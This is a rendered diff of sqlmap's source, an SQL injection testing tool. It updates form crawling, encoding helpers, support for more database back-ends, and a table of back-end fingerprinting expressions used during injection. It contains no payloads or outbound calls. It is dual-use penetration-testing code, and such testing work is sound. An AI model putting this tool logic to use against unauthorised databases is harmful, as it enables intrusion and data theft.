_ = checkSameHost(response.geturl(), url)
|
||||||
|
|
||||||
if conf.scope:
|
if data:
|
||||||
if not re.search(conf.scope, url, re.I):
|
data = data.lstrip("&=").rstrip('&')
|
||||||
continue
|
|
||||||
elif not _:
|
if conf.scope and not re.search(conf.scope, url, re.I):
|
||||||
continue
|
continue
|
||||||
else:
|
elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
|
||||||
target = (url, method, data, conf.cookie, None)
|
continue
|
||||||
retVal.add(target)
|
elif not _:
|
||||||
else:
|
continue
|
||||||
|
else:
|
||||||
|
target = (url, method, data, conf.cookie, None)
|
||||||
|
retVal.add(target)
|
||||||
|
|
||||||
|
for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
|
||||||
|
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
|
||||||
|
data = ""
|
||||||
|
|
||||||
|
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
|
||||||
|
data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
|
||||||
|
|
||||||
|
data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
|
||||||
|
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
|
||||||
|
|
||||||
|
for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
|
||||||
|
url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
|
||||||
|
data = match.group(3)
|
||||||
|
|
||||||
|
data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
|
||||||
|
|
||||||
|
data = data.strip("['\"]")
|
||||||
|
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
|
||||||
|
|
||||||
|
if not retVal and not conf.crawlDepth:
|
||||||
errMsg = "there were no forms found at the given target URL"
|
errMsg = "there were no forms found at the given target URL"
|
||||||
if raise_:
|
if raise_:
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -4665,18 +4780,19 @@ def decodeDbmsHexValue(value, raw=False):
|
|||||||
else:
|
else:
|
||||||
retVal = decodeHex(value)
|
retVal = decodeHex(value)
|
||||||
|
|
||||||
if not kb.binaryField and not raw:
|
if not raw:
|
||||||
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
|
if not kb.binaryField:
|
||||||
try:
|
if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"):
|
||||||
retVal = retVal.decode("utf-16-le")
|
try:
|
||||||
except UnicodeDecodeError:
|
retVal = retVal.decode("utf-16-le")
|
||||||
pass
|
except UnicodeDecodeError:
|
||||||
|
pass
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
|
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
|
||||||
try:
|
try:
|
||||||
retVal = retVal.decode("utf-16-be")
|
retVal = retVal.decode("utf-16-be")
|
||||||
except UnicodeDecodeError:
|
except UnicodeDecodeError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if not isinstance(retVal, six.text_type):
|
if not isinstance(retVal, six.text_type):
|
||||||
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
|
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
|
||||||
@@ -4698,6 +4814,8 @@ def extractExpectedValue(value, expected):
|
|||||||
True
|
True
|
||||||
>>> extractExpectedValue('1', EXPECTED.INT)
|
>>> extractExpectedValue('1', EXPECTED.INT)
|
||||||
1
|
1
|
||||||
|
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if expected:
|
if expected:
|
||||||
@@ -4721,8 +4839,10 @@ def extractExpectedValue(value, expected):
|
|||||||
else:
|
else:
|
||||||
value = None
|
value = None
|
||||||
elif expected == EXPECTED.INT:
|
elif expected == EXPECTED.INT:
|
||||||
if isinstance(value, six.string_types):
|
try:
|
||||||
value = int(value) if value.isdigit() else None
|
value = int(value)
|
||||||
|
except:
|
||||||
|
value = None
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -4830,7 +4950,7 @@ def prioritySortColumns(columns):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
def _(column):
|
def _(column):
|
||||||
return column and "id" in column.lower()
|
return column and re.search(r"^id|id$", column, re.I) is not None
|
||||||
|
|
||||||
return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
|
return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
|
||||||
|
|
||||||
@@ -4976,7 +5096,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
port, request = match.groups()
|
port, request = match.groups()
|
||||||
try:
|
try:
|
||||||
request = decodeBase64(request, binary=False)
|
request = decodeBase64(request, binary=False)
|
||||||
except binascii.Error:
|
except (binascii.Error, TypeError):
|
||||||
continue
|
continue
|
||||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||||
if _:
|
if _:
|
||||||
@@ -5054,6 +5174,11 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
key, value = line.split(":", 1)
|
key, value = line.split(":", 1)
|
||||||
value = value.strip().replace("\r", "").replace("\n", "")
|
value = value.strip().replace("\r", "").replace("\n", "")
|
||||||
|
|
||||||
|
# Note: overriding values with --headers '...'
|
||||||
|
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||||
|
if match:
|
||||||
|
key, value = match.groups()
|
||||||
|
|
||||||
# Cookie and Host headers
|
# Cookie and Host headers
|
||||||
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
if key.upper() == HTTP_HEADER.COOKIE.upper():
|
||||||
cookie = value
|
cookie = value
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -19,6 +19,7 @@ import re
|
|||||||
import sys
|
import sys
|
||||||
|
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||||
@@ -31,6 +32,11 @@ from lib.core.settings import UNICODE_ENCODING
|
|||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
|
try:
|
||||||
|
from html import escape as htmlEscape
|
||||||
|
except ImportError:
|
||||||
|
from cgi import escape as htmlEscape
|
||||||
|
|
||||||
def base64pickle(value):
|
def base64pickle(value):
|
||||||
"""
|
"""
|
||||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||||
@@ -184,7 +190,7 @@ def encodeHex(value, binary=True):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def decodeBase64(value, binary=True):
|
def decodeBase64(value, binary=True, encoding=None):
|
||||||
"""
|
"""
|
||||||
Returns a decoded representation of provided Base64 value
|
Returns a decoded representation of provided Base64 value
|
||||||
|
|
||||||
@@ -197,11 +203,11 @@ def decodeBase64(value, binary=True):
|
|||||||
retVal = base64.b64decode(value)
|
retVal = base64.b64decode(value)
|
||||||
|
|
||||||
if not binary:
|
if not binary:
|
||||||
retVal = getText(retVal)
|
retVal = getText(retVal, encoding)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def encodeBase64(value, binary=True):
|
def encodeBase64(value, binary=True, encoding=None):
|
||||||
"""
|
"""
|
||||||
Returns a decoded representation of provided Base64 value
|
Returns a decoded representation of provided Base64 value
|
||||||
|
|
||||||
@@ -212,16 +218,16 @@ def encodeBase64(value, binary=True):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
value = value.encode(UNICODE_ENCODING)
|
value = value.encode(encoding or UNICODE_ENCODING)
|
||||||
|
|
||||||
retVal = base64.b64encode(value)
|
retVal = base64.b64encode(value)
|
||||||
|
|
||||||
if not binary:
|
if not binary:
|
||||||
retVal = getText(retVal)
|
retVal = getText(retVal, encoding)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||||
"""
|
"""
|
||||||
Returns byte representation of provided Unicode value
|
Returns byte representation of provided Unicode value
|
||||||
|
|
||||||
@@ -231,6 +237,14 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
|||||||
|
|
||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
|
if encoding is None:
|
||||||
|
encoding = conf.get("encoding") or UNICODE_ENCODING
|
||||||
|
|
||||||
|
try:
|
||||||
|
codecs.lookup(encoding)
|
||||||
|
except (LookupError, TypeError):
|
||||||
|
encoding = UNICODE_ENCODING
|
||||||
|
|
||||||
if isinstance(value, six.text_type):
|
if isinstance(value, six.text_type):
|
||||||
if INVALID_UNICODE_PRIVATE_AREA:
|
if INVALID_UNICODE_PRIVATE_AREA:
|
||||||
if unsafe:
|
if unsafe:
|
||||||
@@ -263,7 +277,7 @@ def getOrds(value):
|
|||||||
|
|
||||||
def getUnicode(value, encoding=None, noneToNull=False):
|
def getUnicode(value, encoding=None, noneToNull=False):
|
||||||
"""
|
"""
|
||||||
Return the unicode representation of the supplied value:
|
Returns the unicode representation of the supplied value
|
||||||
|
|
||||||
>>> getUnicode('test') == u'test'
|
>>> getUnicode('test') == u'test'
|
||||||
True
|
True
|
||||||
@@ -289,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
|||||||
for candidate in candidates:
|
for candidate in candidates:
|
||||||
try:
|
try:
|
||||||
return six.text_type(value, candidate)
|
return six.text_type(value, candidate)
|
||||||
except UnicodeDecodeError:
|
except (UnicodeDecodeError, LookupError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -305,7 +319,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
|||||||
except UnicodeDecodeError:
|
except UnicodeDecodeError:
|
||||||
return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
|
return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
|
||||||
|
|
||||||
def getText(value):
|
def getText(value, encoding=None):
|
||||||
"""
|
"""
|
||||||
Returns textual value of a given value (Note: not necessary Unicode on Python2)
|
Returns textual value of a given value (Note: not necessary Unicode on Python2)
|
||||||
|
|
||||||
@@ -318,7 +332,7 @@ def getText(value):
|
|||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
if isinstance(value, six.binary_type):
|
if isinstance(value, six.binary_type):
|
||||||
retVal = getUnicode(value)
|
retVal = getUnicode(value, encoding)
|
||||||
|
|
||||||
if six.PY2:
|
if six.PY2:
|
||||||
try:
|
try:
|
||||||
@@ -375,3 +389,20 @@ def stdoutEncode(value):
|
|||||||
retVal = value
|
retVal = value
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def getConsoleLength(value):
|
||||||
|
"""
|
||||||
|
Returns console width of unicode values
|
||||||
|
|
||||||
|
>>> getConsoleLength("abc")
|
||||||
|
3
|
||||||
|
>>> getConsoleLength(u"\\u957f\\u6c5f")
|
||||||
|
4
|
||||||
|
"""
|
||||||
|
|
||||||
|
if isinstance(value, six.text_type):
|
||||||
|
retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
|
||||||
|
else:
|
||||||
|
retVal = len(value)
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -28,7 +28,7 @@ def cachedmethod(f):
|
|||||||
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
|
||||||
>>> __(2)
|
>>> __(2)
|
||||||
2
|
2
|
||||||
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
|
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
|
||||||
>>> __(foobar=3)
|
>>> __(foobar=3)
|
||||||
3
|
3
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -10,20 +10,32 @@ from lib.core.enums import DBMS
|
|||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.settings import ACCESS_ALIASES
|
from lib.core.settings import ACCESS_ALIASES
|
||||||
|
from lib.core.settings import ALTIBASE_ALIASES
|
||||||
from lib.core.settings import BLANK
|
from lib.core.settings import BLANK
|
||||||
|
from lib.core.settings import CACHE_ALIASES
|
||||||
|
from lib.core.settings import CRATEDB_ALIASES
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
from lib.core.settings import DB2_ALIASES
|
from lib.core.settings import DB2_ALIASES
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
from lib.core.settings import FIREBIRD_ALIASES
|
from lib.core.settings import FIREBIRD_ALIASES
|
||||||
|
from lib.core.settings import FRONTBASE_ALIASES
|
||||||
from lib.core.settings import H2_ALIASES
|
from lib.core.settings import H2_ALIASES
|
||||||
from lib.core.settings import HSQLDB_ALIASES
|
from lib.core.settings import HSQLDB_ALIASES
|
||||||
from lib.core.settings import INFORMIX_ALIASES
|
from lib.core.settings import INFORMIX_ALIASES
|
||||||
from lib.core.settings import MAXDB_ALIASES
|
from lib.core.settings import MAXDB_ALIASES
|
||||||
|
from lib.core.settings import MCKOI_ALIASES
|
||||||
|
from lib.core.settings import MIMERSQL_ALIASES
|
||||||
|
from lib.core.settings import MONETDB_ALIASES
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MYSQL_ALIASES
|
from lib.core.settings import MYSQL_ALIASES
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import ORACLE_ALIASES
|
from lib.core.settings import ORACLE_ALIASES
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
from lib.core.settings import PGSQL_ALIASES
|
||||||
|
from lib.core.settings import PRESTO_ALIASES
|
||||||
from lib.core.settings import SQLITE_ALIASES
|
from lib.core.settings import SQLITE_ALIASES
|
||||||
from lib.core.settings import SYBASE_ALIASES
|
from lib.core.settings import SYBASE_ALIASES
|
||||||
|
from lib.core.settings import VERTICA_ALIASES
|
||||||
|
|
||||||
FIREBIRD_TYPES = {
|
FIREBIRD_TYPES = {
|
||||||
261: "BLOB",
|
261: "BLOB",
|
||||||
@@ -108,6 +120,28 @@ SYBASE_TYPES = {
|
|||||||
20: "image",
|
20: "image",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
ALTIBASE_TYPES = {
|
||||||
|
1: "CHAR",
|
||||||
|
12: "VARCHAR",
|
||||||
|
-8: "NCHAR",
|
||||||
|
-9: "NVARCHAR",
|
||||||
|
2: "NUMERIC",
|
||||||
|
6: "FLOAT",
|
||||||
|
8: "DOUBLE",
|
||||||
|
7: "REAL",
|
||||||
|
-5: "BIGINT",
|
||||||
|
4: "INTEGER",
|
||||||
|
5: "SMALLINT",
|
||||||
|
9: "DATE",
|
||||||
|
30: "BLOB",
|
||||||
|
40: "CLOB",
|
||||||
|
20001: "BYTE",
|
||||||
|
20002: "NIBBLE",
|
||||||
|
-7: "BIT",
|
||||||
|
-100: "VARBIT",
|
||||||
|
10003: "GEOMETRY",
|
||||||
|
}
|
||||||
|
|
||||||
MYSQL_PRIVS = {
|
MYSQL_PRIVS = {
|
||||||
1: "select_priv",
|
1: "select_priv",
|
||||||
2: "insert_priv",
|
2: "insert_priv",
|
||||||
@@ -198,8 +232,21 @@ DBMS_DICT = {
|
|||||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
DBMS.H2: (H2_ALIASES, None, None, None),
|
DBMS.H2: (H2_ALIASES, None, None, None),
|
||||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||||
|
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
|
||||||
|
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
|
||||||
|
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
|
||||||
|
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
|
||||||
|
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||||
|
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||||
|
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||||
|
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||||
|
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
|
||||||
|
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||||
|
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
|
||||||
|
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||||
FROM_DUMMY_TABLE = {
|
FROM_DUMMY_TABLE = {
|
||||||
DBMS.ORACLE: " FROM DUAL",
|
DBMS.ORACLE: " FROM DUAL",
|
||||||
DBMS.ACCESS: " FROM MSysAccessObjects",
|
DBMS.ACCESS: " FROM MSysAccessObjects",
|
||||||
@@ -207,7 +254,32 @@ FROM_DUMMY_TABLE = {
|
|||||||
DBMS.MAXDB: " FROM VERSIONS",
|
DBMS.MAXDB: " FROM VERSIONS",
|
||||||
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
|
||||||
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
|
||||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
|
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||||
|
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||||
|
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||||
|
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
|
||||||
|
}
|
||||||
|
|
||||||
|
HEURISTIC_NULL_EVAL = {
|
||||||
|
DBMS.ACCESS: "CVAR(NULL)",
|
||||||
|
DBMS.MAXDB: "ALPHA(NULL)",
|
||||||
|
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
|
||||||
|
DBMS.MYSQL: "QUARTER(NULL)",
|
||||||
|
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||||
|
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||||
|
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||||
|
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||||
|
DBMS.MONETDB: "CODE(NULL)",
|
||||||
|
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||||
|
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||||
|
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||||
|
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||||
|
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||||
|
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||||
|
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
|
||||||
|
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||||
|
DBMS.CACHE: "%SQLUPPER NULL",
|
||||||
|
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
|
||||||
}
|
}
|
||||||
|
|
||||||
SQL_STATEMENTS = {
|
SQL_STATEMENTS = {
|
||||||
|
|||||||
@@ -1,11 +1,10 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import cgi
|
|
||||||
import hashlib
|
import hashlib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
@@ -13,7 +12,6 @@ import shutil
|
|||||||
import tempfile
|
import tempfile
|
||||||
import threading
|
import threading
|
||||||
|
|
||||||
from extra.safe2bin.safe2bin import safechardecode
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import dataToDumpFile
|
from lib.core.common import dataToDumpFile
|
||||||
@@ -29,8 +27,10 @@ from lib.core.common import safeCSValue
|
|||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.compat import xrange
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import getBytes
|
from lib.core.convert import getBytes
|
||||||
|
from lib.core.convert import getConsoleLength
|
||||||
from lib.core.convert import getText
|
from lib.core.convert import getText
|
||||||
from lib.core.convert import getUnicode
|
from lib.core.convert import getUnicode
|
||||||
|
from lib.core.convert import htmlEscape
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -53,6 +53,7 @@ from lib.core.settings import UNICODE_ENCODING
|
|||||||
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||||
|
from lib.utils.safe2bin import safechardecode
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.magic import magic
|
from thirdparty.magic import magic
|
||||||
|
|
||||||
@@ -68,13 +69,12 @@ class Dump(object):
|
|||||||
self._lock = threading.Lock()
|
self._lock = threading.Lock()
|
||||||
|
|
||||||
def _write(self, data, newline=True, console=True, content_type=None):
|
def _write(self, data, newline=True, console=True, content_type=None):
|
||||||
if conf.api:
|
|
||||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
|
||||||
return
|
|
||||||
|
|
||||||
text = "%s%s" % (data, "\n" if newline else " ")
|
text = "%s%s" % (data, "\n" if newline else " ")
|
||||||
|
|
||||||
if console:
|
if conf.api:
|
||||||
|
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||||
|
|
||||||
|
elif console:
|
||||||
dataToStdout(text)
|
dataToStdout(text)
|
||||||
|
|
||||||
multiThreadMode = isMultiThreadMode()
|
multiThreadMode = isMultiThreadMode()
|
||||||
@@ -107,16 +107,12 @@ class Dump(object):
|
|||||||
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
def getOutputFile(self):
|
|
||||||
return self._outputFile
|
|
||||||
|
|
||||||
def singleString(self, data, content_type=None):
|
def singleString(self, data, content_type=None):
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
|
|
||||||
def string(self, header, data, content_type=None, sort=True):
|
def string(self, header, data, content_type=None, sort=True):
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(data, content_type=content_type)
|
self._write(data, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if isListLike(data):
|
if isListLike(data):
|
||||||
self.lister(header, data, content_type, sort)
|
self.lister(header, data, content_type, sort)
|
||||||
@@ -136,8 +132,6 @@ class Dump(object):
|
|||||||
self._write("%s:\n---\n%s\n---" % (header, _))
|
self._write("%s:\n---\n%s\n---" % (header, _))
|
||||||
else:
|
else:
|
||||||
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
|
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _))
|
||||||
else:
|
|
||||||
self._write("%s:\tNone" % header)
|
|
||||||
|
|
||||||
def lister(self, header, elements, content_type=None, sort=True):
|
def lister(self, header, elements, content_type=None, sort=True):
|
||||||
if elements and sort:
|
if elements and sort:
|
||||||
@@ -150,7 +144,6 @@ class Dump(object):
|
|||||||
|
|
||||||
if conf.api:
|
if conf.api:
|
||||||
self._write(elements, content_type=content_type)
|
self._write(elements, content_type=content_type)
|
||||||
return
|
|
||||||
|
|
||||||
if elements:
|
